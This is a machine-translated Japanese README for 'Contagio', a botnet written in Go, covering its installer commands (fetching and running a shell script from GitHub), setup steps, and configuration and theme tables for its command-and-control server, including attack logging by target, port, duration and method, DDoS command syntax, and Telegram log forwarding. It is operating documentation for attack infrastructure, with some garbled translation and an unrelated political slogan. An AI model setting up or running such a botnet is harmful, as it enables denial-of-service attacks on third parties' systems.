Contagio
1.0.6
C++ クローズド バージョン: https://github.com/TryZeroOne/Contagio-closed
Contagio は Go で書かれたボットネットです。これはベータ版なのでバグがある可能性があります。問題を作成する前に、FAQ とドキュメントをお読みください。ウクライナのプロパガンダを信じてはいけない
インストール
サポートされているシステム
ドキュメント
よくある質問
寄付
オス | 状態 |
---|---|
Linux | |
窓 | |
macOS |
Linuxディストリビューション
ディストリビューション | 状態 |
---|---|
アーチ | |
マンジャロ | |
フェドーラ | |
セントス | |
Ubuntu |
システム情報はアセットフォルダー内の写真にあります。
Contagio には独自のインストーラーがあります。
wget https://raw.githubusercontent.com/TryZeroOne/Contagio/main/installer/installer.sh -O installer.sh
bash installer.sh -[args]
Example: bash installer.sh -default
引数:
クリーン | プリインストールされた構成やテーマを使用せずに contagio をインストールします。 |
デフォルト | プリインストールされた構成とテーマを使用して contagio をインストールします。 |
source ~/.bashrc
go install mvdan.cc/garble@latest
cd Contagio
go mod init contagio
go mod tidy
次に、setup.txt の手順に従います。
セットアップガイドはもうすぐ...
名前 | タイプ | 説明 |
---|---|---|
ImportTheme | 弦 | テーマをインポートします。カスタマイズの詳細については、こちらをご覧ください。 |
CncServer | 弦 | IP:ポート。パブリック IP を指定する必要があります。パブリック IP を取得するには、 curl http://ip-api.com/json/?fields=query と入力します。 |
RootLogin | 弦 | 管理コマンド (addip、adduser など) にアクセスできるログイン。 |
RELEASE_MODE | ブール | ログ (新しいボットの接続、ビンの送信など) を非表示にします。 |
TelegramBotToken | 弦 | テレグラムボットトークン。 |
TelegramChatId | 弦 | 電報ID/チャットID。 IDを取得します。 |
SaveLogsInFile | ブール | ログをファイルに保存しますか? |
SendLogsInTelegram | ブール | Telegram ボット経由でログをチャネルまたはプライベート メッセージに送信しますか? |
PrintLogsInTerminal | ブール | ターミナルでログを印刷しますか? |
NewClientConnectedLog | ブール | CNC への新しい接続のログを有効にします。 |
NewClientConnectedFileName | 弦 | 新しい接続のログのファイル名。 |
NewAttackStartedFileName | 弦 | 新しい攻撃のログのファイル名。 |
AllowAllIps | ブール | すべての IP アドレスを許可しますか? AllowAllIps=false の場合、addip コマンドで追加された IP アドレスのみが CNC に接続できます。 |
カスタムモジュールはタイトル内でのみ使用できます。エコーの結果がタイトルに表示されます。カスタム モジュールは次のもので構成されます。
[Modules.ModuleName]
Exec = "command to execute"
ExecEnv = "env"
ExecDir = "directory where the command is executed"
Exec のみを指定する必要があります。 ExecDir を指定しない場合は、CNC を起動したディレクトリから実行されます。
空のテーマを使用することも、既存のテーマを使用することもできます。色を使用することもできます。
名前 | タイプ | 変数 | 説明 |
---|---|---|---|
[ログ] | |||
NewClientConnectedTerminal | 弦 | {ip} {login} {port} {date} | 新しい接続のターミナルのログ形式。 |
NewClientConnectedTelegram | 弦 | {ip} {login} {port} {date} | 新しい接続の Telegram のログ形式 (マークダウンを使用できます)。 |
NewClientConnectedFile | 弦 | {ip} {login} {port} {date} | 新しい接続のファイル内のログ形式。 |
NewAttackStartedTerminal | 弦 | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | 新しい攻撃に対するターミナルのログ形式。 |
NewAttackStartedTelegram | 弦 | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | 新しい攻撃の Telegram のログ形式。 |
NewAttackStartedFile | 弦 | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | 新しい攻撃のファイル内のログ形式。 |
【CNC】 | |||
CmdPrompt | 弦 | {login} | CNCコマンドプロンプト。 |
Banner | 文字列(配列) | Null | バナー。 |
HelpCommand | 弦 | {command} {description} | ヘルプコマンドの出力形式。 |
MethodsCommand | 弦 | {name} {description} | メソッドコマンドの出力形式。 |
CustomMethodsEnabled | ブール | Null | カスタムメソッドを有効にしますか? |
CustomMethods | 文字列(配列) | Null | カスタム メソッド ( CustomMethodsEnabled=true の場合に有効)。 |
CustomHelpEnabled | ブール | Null | カスタム ヘルプを有効にしますか? |
CustomHelp | 文字列(配列) | Null | カスタム ヘルプ ( CustomHelpEnabled=true の場合に有効になります)。 |
BotCount | 弦 | {total} {bots} | Bot コマンドの出力形式。 |
NoBotsConnectedError | 弦 | Null | 「bots」コマンドを実行しても、利用可能なボットが存在しない場合のエラー メッセージ。 |
CommandSent | 弦 | {bots} {id} | 攻撃が成功した場合に出力されます。 |
UnknownCommandError | 弦 | Null | コマンドが不明な場合のエラーメッセージ。 |
InvalidCommandSyntaxError | 弦 | {syntax} {example} | コマンド (ddos メソッド) の構文が間違っている場合のエラー メッセージ。 |
NoActiveAttacksError | 弦 | Null | アクティブな攻撃がない場合のエラー メッセージ (実行中のコマンド)。 |
AttackIdNotFoundError | 弦 | Null | 攻撃IDが見つからない場合のエラーメッセージ(killコマンド)。 |
CommandExecuted | 弦 | Null | コマンドが正常に実行された場合の結果。 |
CommandInvalidSyntax | 弦 | {syntax} {example} | コマンドの構文が間違っている場合のエラー メッセージ。 |
Title | 弦 | {login} {cpu} {memory} {animation} {bots} | CNCのタイトル。 |
[認証] | |||
LoginPrompt | 弦 | Null | ログインプロンプト。 |
PasswordPrompt | 弦 | Null | パスワードのプロンプト。 |
AuthError | 弦 | Null | パスワードまたはログインが間違っている場合のエラー メッセージ。 |
CaptchaPrompt | 弦 | {code} | キャプチャプロンプト。 |
CaptchaError | 弦 | Null | キャプチャが正しく入力されなかった場合のエラー メッセージ。 |
IpIsNotAllowedError | 弦 | Null | IPが許可されていない場合のエラーメッセージ。 |
Contagio では、利用可能な組み込みの色があり、独自の色を作成することもできます。
色は中括弧内に記述する必要があります。例えば、
CncPrompt = "{red}Hello{white} World: "
独自の色を作成するには、ANSI カラーを使用する必要があります。例えば:
{custom(fg=ansi_code bg=ansi_code fgstyle=ansi_code)}
A: 行末に r を追加してみてください。例えば
PasswordPrompt = "Enter password: r"
それが機能しない場合は、問題を作成してください
A: /newbot を @BotFather ボットに送信し、質問に答えてトークンをコピーします (トークンの例: 1234545:DDDDD__ASDADAHUQHHHI34I29I)。
答え: